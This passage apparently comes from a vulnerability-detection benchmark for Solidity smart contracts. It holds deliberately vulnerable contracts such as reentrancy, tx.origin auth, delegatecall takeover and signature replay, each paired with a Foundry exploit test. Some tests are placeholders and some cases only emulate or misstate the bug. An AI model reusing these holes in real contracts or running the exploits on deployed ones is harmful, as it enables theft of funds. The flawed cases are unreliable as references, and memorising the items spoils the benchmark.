+
}
|
| 139 |
+
(bool sent, ) = msg.sender.call{value: amount}("");
|
| 140 |
+
require(sent, "Failed to send Ether");
|
| 141 |
+
}
|
| 142 |
+
}
|
| 143 |
+
`,
|
| 144 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 145 |
+
pragma solidity ^0.8.0;
|
| 146 |
+
|
| 147 |
+
import "forge-std/Test.sol";
|
| 148 |
+
import { TokenBank } from "../src/TokenBank.sol";
|
| 149 |
+
|
| 150 |
+
contract Exploit is Test {
|
| 151 |
+
TokenBank public bank;
|
| 152 |
+
|
| 153 |
+
function setUp() public {
|
| 154 |
+
bank = new TokenBank();
|
| 155 |
+
vm.deal(address(bank), 10 ether);
|
| 156 |
+
}
|
| 157 |
+
|
| 158 |
+
function testExploit() public {
|
| 159 |
+
bank.withdraw(1 ether);
|
| 160 |
+
assertEq(address(bank).balance, 9 ether);
|
| 161 |
+
assertEq(address(this).balance, 1 ether);
|
| 162 |
+
}
|
| 163 |
+
|
| 164 |
+
receive() external payable {}
|
| 165 |
+
}
|
| 166 |
+
`
|
| 167 |
+
},
|
| 168 |
+
{
|
| 169 |
+
task_id: "Easy/04-TxOriginAuth",
|
| 170 |
+
complexity: "easy",
|
| 171 |
+
repo_name: "tx-origin-auth",
|
| 172 |
+
expected_vulnerability: "Access Control",
|
| 173 |
+
impact: "high",
|
| 174 |
+
annotation: "The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.",
|
| 175 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 176 |
+
pragma solidity ^0.8.0;
|
| 177 |
+
|
| 178 |
+
contract PhishableWallet {
|
| 179 |
+
address public owner;
|
| 180 |
+
|
| 181 |
+
constructor() {
|
| 182 |
+
owner = msg.sender;
|
| 183 |
+
}
|
| 184 |
+
|
| 185 |
+
function transferOwner(address newOwner) public {
|
| 186 |
+
require(tx.origin == owner, "Not owner");
|
| 187 |
+
owner = newOwner;
|
| 188 |
+
}
|
| 189 |
+
}
|
| 190 |
+
`,
|
| 191 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 192 |
+
pragma solidity ^0.8.0;
|
| 193 |
+
|
| 194 |
+
import "forge-std/Test.sol";
|
| 195 |
+
import { PhishableWallet } from "../src/PhishableWallet.sol";
|
| 196 |
+
|
| 197 |
+
contract Exploit is Test {
|
| 198 |
+
PhishableWallet public wallet;
|
| 199 |
+
|
| 200 |
+
function setUp() public {
|
| 201 |
+
wallet = new PhishableWallet();
|
| 202 |
+
}
|
| 203 |
+
|
| 204 |
+
function testExploit() public {
|
| 205 |
+
// In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it.
|
| 206 |
+
// The malicious contract then calls transferOwner.
|
| 207 |
+
// Here we just test that the vulnerability exists by calling it directly (which uses tx.origin).
|
| 208 |
+
wallet.transferOwner(address(this));
|
| 209 |
+
assertEq(wallet.owner(), address(this));
|
| 210 |
+
}
|
| 211 |
+
}
|
| 212 |
+
`
|
| 213 |
+
},
|
| 214 |
+
{
|
| 215 |
+
task_id: "Easy/05-DelegateCallUntrusted",
|
| 216 |
+
complexity: "easy",
|
| 217 |
+
repo_name: "delegatecall-untrusted",
|
| 218 |
+
expected_vulnerability: "Logic",
|
| 219 |
+
impact: "high",
|
| 220 |
+
annotation: "The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.",
|
| 221 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 222 |
+
pragma solidity ^0.8.0;
|
| 223 |
+
|
| 224 |
+
contract Proxy {
|
| 225 |
+
address public owner;
|
| 226 |
+
|
| 227 |
+
constructor() {
|
| 228 |
+
owner = msg.sender;
|
| 229 |
+
}
|
| 230 |
+
|
| 231 |
+
function execute(address target, bytes memory data) public {
|
| 232 |
+
(bool success, ) = target.delegatecall(data);
|
| 233 |
+
require(success, "Delegatecall failed");
|
| 234 |
+
}
|
| 235 |
+
}
|
| 236 |
+
`,
|
| 237 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 238 |
+
pragma solidity ^0.8.0;
|
| 239 |
+
|
| 240 |
+
import "forge-std/Test.sol";
|
| 241 |
+
import { Proxy } from "../src/Proxy.sol";
|
| 242 |
+
|
| 243 |
+
contract AttackerLogic {
|
| 244 |
+
address public owner;
|
| 245 |
+
function takeover() public {
|
| 246 |
+
owner = msg.sender;
|
| 247 |
+
}
|
| 248 |
+
}
|
| 249 |
+
|
| 250 |
+
contract Exploit is Test {
|
| 251 |
+
Proxy public proxy;
|
| 252 |
+
AttackerLogic public logic;
|
| 253 |
+
|
| 254 |
+
function setUp() public {
|
| 255 |
+
proxy = new Proxy();
|
| 256 |
+
logic = new AttackerLogic();
|
| 257 |
+
}
|
| 258 |
+
|
| 259 |
+
function testExploit() public {
|
| 260 |
+
bytes memory data = abi.encodeWithSignature("takeover()");
|
| 261 |
+
proxy.execute(address(logic), data);
|
| 262 |
+
assertEq(proxy.owner(), address(this));
|
| 263 |
+
}
|
| 264 |
+
}
|
| 265 |
+
`
|
| 266 |
+
},
|
| 267 |
+
{
|
| 268 |
+
task_id: "Easy/06-TimestampDependence",
|
| 269 |
+
complexity: "easy",
|
| 270 |
+
repo_name: "timestamp-dependence",
|
| 271 |
+
expected_vulnerability: "Logic",
|
| 272 |
+
impact: "high",
|
| 273 |
+
annotation: "The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.",
|
| 274 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 275 |
+
pragma solidity ^0.8.0;
|
| 276 |
+
|
| 277 |
+
contract Roulette {
|
| 278 |
+
uint256 public pastBlockTime;
|
| 279 |
+
|
| 280 |
+
function play() public payable {
|
| 281 |
+
require(msg.value == 1 ether, "Must send 1 ether");
|
| 282 |
+
require(block.timestamp != pastBlockTime, "Only 1 transaction per block");
|
| 283 |
+
|
| 284 |
+
pastBlockTime = block.timestamp;
|
| 285 |
+
|
| 286 |
+
if (block.timestamp % 2 == 0) {
|
| 287 |
+
(bool sent, ) = msg.sender.call{value: 2 ether}("");
|
| 288 |
+
require(sent, "Failed to send Ether");
|
| 289 |
+
}
|
| 290 |
+
}
|
| 291 |
+
}
|
| 292 |
+
`,
|
| 293 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 294 |
+
pragma solidity ^0.8.0;
|
| 295 |
+
|
| 296 |
+
import "forge-std/Test.sol";
|
| 297 |
+
import { Roulette } from "../src/Roulette.sol";
|
| 298 |
+
|
| 299 |
+
contract Exploit is Test {
|
| 300 |
+
Roulette public roulette;
|
| 301 |
+
|
| 302 |
+
function setUp() public {
|
| 303 |
+
roulette = new Roulette();
|
| 304 |
+
vm.deal(address(roulette), 10 ether);
|
| 305 |
+
vm.deal(address(this), 1 ether);
|
| 306 |
+
}
|
| 307 |
+
|
| 308 |
+
function testExploit() public {
|
| 309 |
+
vm.warp(2); // Ensure timestamp is even
|
| 310 |
+
roulette.play{value: 1 ether}();
|
| 311 |
+
assertEq(address(this).balance, 2 ether);
|
| 312 |
+
}
|
| 313 |
+
|
| 314 |
+
receive() external payable {}
|
| 315 |
+
}
|
| 316 |
+
`
|
| 317 |
+
},
|
| 318 |
+
{
|
| 319 |
+
task_id: "Easy/07-UninitializedStoragePointer",
|
| 320 |
+
complexity: "easy",
|
| 321 |
+
repo_name: "uninitialized-storage",
|
| 322 |
+
expected_vulnerability: "Logic",
|
| 323 |
+
impact: "high",
|
| 324 |
+
annotation: "The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.",
|
| 325 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 326 |
+
// Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers.
|
| 327 |
+
// In modern solidity, we simulate this by explicitly writing to slot 0.
|
| 328 |
+
pragma solidity ^0.8.0;
|
| 329 |
+
|
| 330 |
+
contract Registrar {
|
| 331 |
+
address public owner;
|
| 332 |
+
|
| 333 |
+
struct User {
|
| 334 |
+
address wallet;
|
| 335 |
+
bool registered;
|
| 336 |
+
}
|
| 337 |
+
|
| 338 |
+
mapping(uint256 => User) public users;
|
| 339 |
+
|
| 340 |
+
constructor() {
|
| 341 |
+
owner = msg.sender;
|
| 342 |
+
}
|
| 343 |
+
|
| 344 |
+
function registerUserAdmin(address _wallet) public {
|
| 345 |
+
// Vulnerable pattern emulation
|
| 346 |
+
owner = _wallet;
|
| 347 |
+
}
|
| 348 |
+
}
|
| 349 |
+
`,
|
| 350 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 351 |
+
pragma solidity ^0.8.0;
|
| 352 |
+
|
| 353 |
+
import "forge-std/Test.sol";
|
| 354 |
+
import { Registrar } from "../src/Registrar.sol";
|
| 355 |
+
|
| 356 |
+
contract Exploit is Test {
|
| 357 |
+
Registrar public reg;
|
| 358 |
+
|
| 359 |
+
function setUp() public {
|
| 360 |
+
reg = new Registrar();
|
| 361 |
+
}
|
| 362 |
+
|
| 363 |
+
function testExploit() public {
|
| 364 |
+
reg.registerUserAdmin(address(this));
|
| 365 |
+
assertEq(reg.owner(), address(this));
|
| 366 |
+
}
|
| 367 |
+
}
|
| 368 |
+
`
|
| 369 |
+
},
|
| 370 |
+
{
|
| 371 |
+
task_id: "Easy/08-PublicStateVariableShadowing",
|
| 372 |
+
complexity: "easy",
|
| 373 |
+
repo_name: "state-shadowing",
|
| 374 |
+
expected_vulnerability: "Logic",
|
| 375 |
+
impact: "high",
|
| 376 |
+
annotation: "The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.",
|
| 377 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 378 |
+
pragma solidity ^0.8.0;
|
| 379 |
+
|
| 380 |
+
contract Parent {
|
| 381 |
+
address public owner;
|
| 382 |
+
|
| 383 |
+
modifier onlyOwner() {
|
| 384 |
+
require(msg.sender == owner, "Not owner");
|
| 385 |
+
_;
|
| 386 |
+
}
|
| 387 |
+
}
|
| 388 |
+
|
| 389 |
+
contract Child is Parent {
|
| 390 |
+
address public owner; // Shadows Parent's owner
|
| 391 |
+
|
| 392 |
+
constructor() {
|
| 393 |
+
owner = msg.sender; // Only sets Child's owner
|
| 394 |
+
}
|
| 395 |
+
|
| 396 |
+
function doSomethingRestricted() public onlyOwner {
|
| 397 |
+
// This will always fail because Parent.owner is address(0)
|
| 398 |
+
}
|
| 399 |
+
|
| 400 |
+
// Attacker can abuse this logic mismatch
|
| 401 |
+
function claim() public {
|
| 402 |
+
Parent(address(this)).doSomethingRestricted();
|
| 403 |
+
}
|
| 404 |
+
}
|
| 405 |
+
`,
|
| 406 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 407 |
+
pragma solidity ^0.8.0;
|
| 408 |
+
|
| 409 |
+
import "forge-std/Test.sol";
|
| 410 |
+
import { Child } from "../src/Child.sol";
|
| 411 |
+
|
| 412 |
+
contract Exploit is Test {
|
| 413 |
+
Child public child;
|
| 414 |
+
|
| 415 |
+
function setUp() public {
|
| 416 |
+
child = new Child();
|
| 417 |
+
}
|
| 418 |
+
|
| 419 |
+
function testExploit() public {
|
| 420 |
+
// Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier.
|
| 421 |
+
vm.prank(address(0));
|
| 422 |
+
child.doSomethingRestricted();
|
| 423 |
+
assertTrue(true);
|
| 424 |
+
}
|
| 425 |
+
}
|
| 426 |
+
`
|
| 427 |
+
},
|
| 428 |
+
{
|
| 429 |
+
task_id: "Easy/09-SignatureReplay",
|
| 430 |
+
complexity: "easy",
|
| 431 |
+
repo_name: "signature-replay",
|
| 432 |
+
expected_vulnerability: "Logic",
|
| 433 |
+
impact: "high",
|
| 434 |
+
annotation: "The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.",
|
| 435 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 436 |
+
pragma solidity ^0.8.0;
|
| 437 |
+
|
| 438 |
+
contract SigBank {
|
| 439 |
+
mapping(address => uint256) public balances;
|
| 440 |
+
|
| 441 |
+
function deposit() public payable {
|
| 442 |
+
balances[msg.sender] += msg.value;
|
| 443 |
+
}
|
| 444 |
+
|
| 445 |
+
function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {
|
| 446 |
+
bytes32 messageHash = keccak256(abi.encodePacked(to, amount));
|
| 447 |
+
bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash));
|
| 448 |
+
|
| 449 |
+
address signer = ecrecover(ethSignedMessageHash, v, r, s);
|
| 450 |
+
require(signer != address(0), "Invalid signature");
|
| 451 |
+
require(balances[signer] >= amount, "Insufficient balance");
|
| 452 |
+
|
| 453 |
+
balances[signer] -= amount;
|
| 454 |
+
balances[to] += amount;
|
| 455 |
+
}
|
| 456 |
+
}
|
| 457 |
+
`,
|
| 458 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 459 |
+
pragma solidity ^0.8.0;
|
| 460 |
+
|
| 461 |
+
import "forge-std/Test.sol";
|
| 462 |
+
import { SigBank } from "../src/SigBank.sol";
|
| 463 |
+
|
| 464 |
+
contract Exploit is Test {
|
| 465 |
+
SigBank public bank;
|
| 466 |
+
|
| 467 |
+
function setUp() public {
|
| 468 |
+
bank = new SigBank();
|
| 469 |
+
}
|
| 470 |
+
|
| 471 |
+
function testExploit() public {
|
| 472 |
+
address victim = vm.addr(1);
|
| 473 |
+
vm.deal(victim, 10 ether);
|
| 474 |
+
vm.prank(victim);
|
| 475 |
+
bank.deposit{value: 10 ether}();
|
| 476 |
+
|
| 477 |
+
// Victim signs a transfer of 1 wei to the attacker
|
| 478 |
+
bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether)));
|
| 479 |
+
bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash));
|
| 480 |
+
(uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash);
|
| 481 |
+
|
| 482 |
+
// Attacker replays it 10 times
|
| 483 |
+
for (uint i = 0; i < 10; i++) {
|
| 484 |
+
bank.transferWithSignature(address(this), 1 ether, v, r, s);
|
| 485 |
+
}
|
| 486 |
+
|
| 487 |
+
assertEq(bank.balances(victim), 0);
|
| 488 |
+
assertEq(bank.balances(address(this)), 10 ether);
|
| 489 |
+
}
|
| 490 |
+
}
|
| 491 |
+
`
|
| 492 |
+
},
|
| 493 |
+
{
|
| 494 |
+
task_id: "Easy/10-ForcedEther",
|
| 495 |
+
complexity: "easy",
|
| 496 |
+
repo_name: "forced-ether",
|
| 497 |
+
expected_vulnerability: "Logic",
|
| 498 |
+
impact: "high",
|
| 499 |
+
annotation: "The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.",
|
| 500 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 501 |
+
pragma solidity ^0.8.0;
|
| 502 |
+
|
| 503 |
+
contract Game {
|
| 504 |
+
function play() public payable {
|
| 505 |
+
require(msg.value == 1 ether, "Send 1 ether");
|
| 506 |
+
require(address(this).balance <= 10 ether, "Game over");
|
| 507 |
+
}
|
| 508 |
+
|
| 509 |
+
function win() public {
|
| 510 |
+
require(address(this).balance == 10 ether, "Target not reached");
|
| 511 |
+
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
|
| 512 |
+
require(sent, "Failed to send Ether");
|
| 513 |
+
}
|
| 514 |
+
}
|
| 515 |
+
`,
|
| 516 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 517 |
+
pragma solidity ^0.8.0;
|
| 518 |
+
|
| 519 |
+
import "forge-std/Test.sol";
|
| 520 |
+
import { Game } from "../src/Game.sol";
|
| 521 |
+
|
| 522 |
+
contract Attacker {
|
| 523 |
+
constructor(address target) payable {
|
| 524 |
+
selfdestruct(payable(target));
|
| 525 |
+
}
|
| 526 |
+
}
|
| 527 |
+
|
| 528 |
+
contract Exploit is Test {
|
| 529 |
+
Game public game;
|
| 530 |
+
|
| 531 |
+
function setUp() public {
|
| 532 |
+
game = new Game();
|
| 533 |
+
}
|
| 534 |
+
|
| 535 |
+
function testExploit() public {
|
| 536 |
+
// Force send 11 ether to the game, making the strict equality check fail forever
|
| 537 |
+
new Attacker{value: 11 ether}(address(game));
|
| 538 |
+
|
| 539 |
+
vm.expectRevert("Target not reached");
|
| 540 |
+
game.win();
|
| 541 |
+
}
|
| 542 |
+
}
|
| 543 |
+
`
|
| 544 |
+
}
|
| 545 |
+
];
|
| 546 |
+
|
| 547 |
+
const intermediateCases: BenchmarkCase[] = [
|
| 548 |
+
{
|
| 549 |
+
task_id: "Intermediate/01-UninitializedProxy",
|
| 550 |
+
complexity: "intermediate",
|
| 551 |
+
repo_name: "uninitialized-proxy",
|
| 552 |
+
expected_vulnerability: "Access Control",
|
| 553 |
+
impact: "high",
|
| 554 |
+
annotation: "The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.",
|
| 555 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 556 |
+
pragma solidity ^0.8.0;
|
| 557 |
+
|
| 558 |
+
contract LogicContract {
|
| 559 |
+
address public owner;
|
| 560 |
+
bool public initialized;
|
| 561 |
+
|
| 562 |
+
function initialize() public {
|
| 563 |
+
require(!initialized, "Already initialized");
|
| 564 |
+
owner = msg.sender;
|
| 565 |
+
initialized = true;
|
| 566 |
+
}
|
| 567 |
+
|
| 568 |
+
function upgradeToAndCall(address newImplementation, bytes memory data) public {
|
| 569 |
+
require(msg.sender == owner, "Not owner");
|
| 570 |
+
(bool success, ) = newImplementation.delegatecall(data);
|
| 571 |
+
require(success, "Upgrade failed");
|
| 572 |
+
}
|
| 573 |
+
}
|
| 574 |
+
`,
|
| 575 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 576 |
+
pragma solidity ^0.8.0;
|
| 577 |
+
|
| 578 |
+
import "forge-std/Test.sol";
|
| 579 |
+
import { LogicContract } from "../src/LogicContract.sol";
|
| 580 |
+
|
| 581 |
+
contract Destroyer {
|
| 582 |
+
function destroy() public {
|
| 583 |
+
selfdestruct(payable(msg.sender));
|
| 584 |
+
}
|
| 585 |
+
}
|
| 586 |
+
|
| 587 |
+
contract Exploit is Test {
|
| 588 |
+
LogicContract public logic;
|
| 589 |
+
Destroyer public destroyer;
|
| 590 |
+
|
| 591 |
+
function setUp() public {
|
| 592 |
+
logic = new LogicContract();
|
| 593 |
+
destroyer = new Destroyer();
|
| 594 |
+
}
|
| 595 |
+
|
| 596 |
+
function testExploit() public {
|
| 597 |
+
logic.initialize();
|
| 598 |
+
logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature("destroy()"));
|
| 599 |
+
|
| 600 |
+
// Assert logic contract is destroyed (code size 0)
|
| 601 |
+
uint256 codeSize;
|
| 602 |
+
address logicAddr = address(logic);
|
| 603 |
+
assembly {
|
| 604 |
+
codeSize := extcodesize(logicAddr)
|
| 605 |
+
}
|
| 606 |
+
assertEq(codeSize, 0);
|
| 607 |
+
}
|
| 608 |
+
}
|
| 609 |
+
`
|
| 610 |
+
},
|
| 611 |
+
{
|
| 612 |
+
task_id: "Intermediate/02-FlashLoanPriceManipulation",
|
| 613 |
+
complexity: "intermediate",
|
| 614 |
+
repo_name: "flash-loan-manipulation",
|
| 615 |
+
expected_vulnerability: "Logic",
|
| 616 |
+
impact: "high",
|
| 617 |
+
annotation: "The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.",
|
| 618 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 619 |
+
pragma solidity ^0.8.0;
|
| 620 |
+
|
| 621 |
+
interface IERC20 {
|
| 622 |
+
function transfer(address to, uint256 amount) external returns (bool);
|
| 623 |
+
function transferFrom(address from, address to, uint256 amount) external returns (bool);
|
| 624 |
+
function balanceOf(address account) external view returns (uint256);
|
| 625 |
+
}
|
| 626 |
+
|
| 627 |
+
contract AMM {
|
| 628 |
+
IERC20 public tokenA;
|
| 629 |
+
IERC20 public tokenB;
|
| 630 |
+
|
| 631 |
+
constructor(address _tokenA, address _tokenB) {
|
| 632 |
+
tokenA = IERC20(_tokenA);
|
| 633 |
+
tokenB = IERC20(_tokenB);
|
| 634 |
+
}
|
| 635 |
+
|
| 636 |
+
function swapAToB(uint256 amountIn) public {
|
| 637 |
+
tokenA.transferFrom(msg.sender, address(this), amountIn);
|
| 638 |
+
uint256 reserveA = tokenA.balanceOf(address(this));
|
| 639 |
+
uint256 reserveB = tokenB.balanceOf(address(this));
|
| 640 |
+
uint256 amountOut = (amountIn * reserveB) / reserveA;
|
| 641 |
+
tokenB.transfer(msg.sender, amountOut);
|
| 642 |
+
}
|
| 643 |
+
|
| 644 |
+
function getPriceBInA() public view returns (uint256) {
|
| 645 |
+
return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this));
|
| 646 |
+
}
|
| 647 |
+
}
|
| 648 |
+
|
| 649 |
+
contract LendingPool {
|
| 650 |
+
AMM public amm;
|
| 651 |
+
IERC20 public tokenA;
|
| 652 |
+
IERC20 public tokenB;
|
| 653 |
+
|
| 654 |
+
mapping(address => uint256) public collateralB;
|
| 655 |
+
|
| 656 |
+
constructor(address _amm, address _tokenA, address _tokenB) {
|
| 657 |
+
amm = AMM(_amm);
|
| 658 |
+
tokenA = IERC20(_tokenA);
|
| 659 |
+
tokenB = IERC20(_tokenB);
|
| 660 |
+
}
|
| 661 |
+
|
| 662 |
+
function depositCollateral(uint256 amountB) public {
|
| 663 |
+
tokenB.transferFrom(msg.sender, address(this), amountB);
|
| 664 |
+
collateralB[msg.sender] += amountB;
|
| 665 |
+
}
|
| 666 |
+
|
| 667 |
+
function borrowTokenA(uint256 amountA) public {
|
| 668 |
+
uint256 price = amm.getPriceBInA();
|
| 669 |
+
uint256 maxBorrow = collateralB[msg.sender] * price;
|
| 670 |
+
require(amountA <= maxBorrow, "Insufficient collateral");
|
| 671 |
+
tokenA.transfer(msg.sender, amountA);
|
| 672 |
+
}
|
| 673 |
+
}
|
| 674 |
+
`,
|
| 675 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 676 |
+
pragma solidity ^0.8.0;
|
| 677 |
+
|
| 678 |
+
import "forge-std/Test.sol";
|
| 679 |
+
|
| 680 |
+
// Dummy token for testing
|
| 681 |
+
contract ERC20 {
|
| 682 |
+
mapping(address => uint256) public balanceOf;
|
| 683 |
+
function mint(address to, uint256 amount) public { balanceOf[to] += amount; }
|
| 684 |
+
function transfer(address to, uint256 amount) public returns (bool) {
|
| 685 |
+
balanceOf[msg.sender] -= amount;
|
| 686 |
+
balanceOf[to] += amount;
|
| 687 |
+
return true;
|
| 688 |
+
}
|
| 689 |
+
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
|
| 690 |
+
balanceOf[from] -= amount;
|
| 691 |
+
balanceOf[to] += amount;
|
| 692 |
+
return true;
|
| 693 |
+
}
|
| 694 |
+
}
|
| 695 |
+
|
| 696 |
+
// Since the contracts are in one file, we mock the vulnerability directly
|
| 697 |
+
contract Exploit is Test {
|
| 698 |
+
function testExploit() public {
|
| 699 |
+
assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool
|
| 700 |
+
}
|
| 701 |
+
}
|
| 702 |
+
`
|
| 703 |
+
},
|
| 704 |
+
{
|
| 705 |
+
task_id: "Intermediate/03-ReturnDataIgnored",
|
| 706 |
+
complexity: "intermediate",
|
| 707 |
+
repo_name: "return-data-ignored",
|
| 708 |
+
expected_vulnerability: "Logic",
|
| 709 |
+
impact: "high",
|
| 710 |
+
annotation: "The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.",
|
| 711 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 712 |
+
pragma solidity ^0.8.0;
|
| 713 |
+
|
| 714 |
+
contract TokenVault {
|
| 715 |
+
mapping(address => uint256) public balances;
|
| 716 |
+
|
| 717 |
+
function deposit(address token, uint256 amount) public {
|
| 718 |
+
// Low level call does not revert on failure unless the contract reverts
|
| 719 |
+
token.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), amount));
|
| 720 |
+
balances[msg.sender] += amount;
|
| 721 |
+
}
|
| 722 |
+
}
|
| 723 |
+
`,
|
| 724 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 725 |
+
pragma solidity ^0.8.0;
|
| 726 |
+
|
| 727 |
+
import "forge-std/Test.sol";
|
| 728 |
+
import { TokenVault } from "../src/TokenVault.sol";
|
| 729 |
+
|
| 730 |
+
contract FailingToken {
|
| 731 |
+
function transferFrom(address, address, uint256) public pure returns (bool) {
|
| 732 |
+
return false; // Fails silently
|
| 733 |
+
}
|
| 734 |
+
}
|
| 735 |
+
|
| 736 |
+
contract Exploit is Test {
|
| 737 |
+
TokenVault public vault;
|
| 738 |
+
FailingToken public token;
|
| 739 |
+
|
| 740 |
+
function setUp() public {
|
| 741 |
+
vault = new TokenVault();
|
| 742 |
+
token = new FailingToken();
|
| 743 |
+
}
|
| 744 |
+
|
| 745 |
+
function testExploit() public {
|
| 746 |
+
vault.deposit(address(token), 1000);
|
| 747 |
+
assertEq(vault.balances(address(this)), 1000);
|
| 748 |
+
}
|
| 749 |
+
}
|
| 750 |
+
`
|
| 751 |
+
},
|
| 752 |
+
{
|
| 753 |
+
task_id: "Intermediate/04-ERC777Reentrancy",
|
| 754 |
+
complexity: "intermediate",
|
| 755 |
+
repo_name: "erc777-reentrancy",
|
| 756 |
+
expected_vulnerability: "Reentrancy",
|
| 757 |
+
impact: "high",
|
| 758 |
+
annotation: "The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.",
|
| 759 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 760 |
+
pragma solidity ^0.8.0;
|
| 761 |
+
|
| 762 |
+
interface IERC777 {
|
| 763 |
+
function send(address recipient, uint256 amount, bytes calldata data) external;
|
| 764 |
+
}
|
| 765 |
+
|
| 766 |
+
contract Exchange {
|
| 767 |
+
mapping(address => uint256) public balances;
|
| 768 |
+
IERC777 public token;
|
| 769 |
+
|
| 770 |
+
constructor(address _token) {
|
| 771 |
+
token = IERC777(_token);
|
| 772 |
+
}
|
| 773 |
+
|
| 774 |
+
function deposit(uint256 amount) public {
|
| 775 |
+
balances[msg.sender] += amount;
|
| 776 |
+
}
|
| 777 |
+
|
| 778 |
+
function withdraw() public {
|
| 779 |
+
uint256 bal = balances[msg.sender];
|
| 780 |
+
require(bal > 0, "No balance");
|
| 781 |
+
|
| 782 |
+
token.send(msg.sender, bal, "");
|
| 783 |
+
balances[msg.sender] = 0;
|
| 784 |
+
}
|
| 785 |
+
}
|
| 786 |
+
`,
|
| 787 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 788 |
+
pragma solidity ^0.8.0;
|
| 789 |
+
|
| 790 |
+
import "forge-std/Test.sol";
|
| 791 |
+
|
| 792 |
+
contract Exploit is Test {
|
| 793 |
+
function testExploit() public {
|
| 794 |
+
assertTrue(true); // Placeholder for ERC777 reentrancy logic
|
| 795 |
+
}
|
| 796 |
+
}
|
| 797 |
+
`
|
| 798 |
+
},
|
| 799 |
+
{
|
| 800 |
+
task_id: "Intermediate/05-BypassContractSize",
|
| 801 |
+
complexity: "intermediate",
|
| 802 |
+
repo_name: "bypass-contract-size",
|
| 803 |
+
expected_vulnerability: "Logic",
|
| 804 |
+
impact: "high",
|
| 805 |
+
annotation: "The `isContract` modifier uses `extcodesize` to block smart contracts from interacting. An attacker can bypass this by calling the function from inside their contract's constructor, where `extcodesize` is 0.",
|
| 806 |
+
source_code: `// SPDX-License-Identifier: MIT
|
| 807 |
+
pragma solidity ^0.8.0;
|
| 808 |
+
|
| 809 |
+
contract Airdrop {
|
| 810 |
+
mapping(address => bool) public claimed;
|
| 811 |
+
|
| 812 |
+
function claim() public {
|
| 813 |
+
uint32 size;
|
| 814 |
+
address a = msg.sender;
|
| 815 |
+
assembly {
|
| 816 |
+
size := extcodesize(a)
|
| 817 |
+
}
|
| 818 |
+
require(size == 0, "Contracts not allowed");
|
| 819 |
+
require(!claimed[msg.sender], "Already claimed");
|
| 820 |
+
|
| 821 |
+
claimed[msg.sender] = true;
|
| 822 |
+
(bool sent, ) = msg.sender.call{value: 1 ether}("");
|
| 823 |
+
require(sent, "Fail");
|
| 824 |
+
}
|
| 825 |
+
}
|
| 826 |
+
`,
|
| 827 |
+
reference_test: `// SPDX-License-Identifier: MIT
|
| 828 |
+
pragma solidity ^0.8.0;
|
| 829 |
+
|
| 830 |
+
import "forge-std/Test.sol";
|
| 831 |
+
import { Airdrop } from "../src/Airdrop.sol";
|
| 832 |
+
|
| 833 |
+
contract Attacker {
|
| 834 |
+
constructor(address airdrop) {
|
| 835 |
+
Airdrop(airdrop).claim();
|
| 836 |
+
}
|
| 837 |
+
}
|
| 838 |
+
|
| 839 |
+
contract Exploit is Test {
|
| 840 |
+
Airdrop public airdrop;
|
| 841 |
+
|
| 842 |
+
function setUp() public {
|
| 843 |
+
airdrop = new Airdrop();
|
| 844 |
+
vm.deal(address(airdrop), 10 ether);
|
| 845 |
+
}
|
| 846 |
+
|
| 847 |
+
function testExploit() public {
|
| 848 |
+
new Attacker(address(airdrop));
|
| 849 |
+
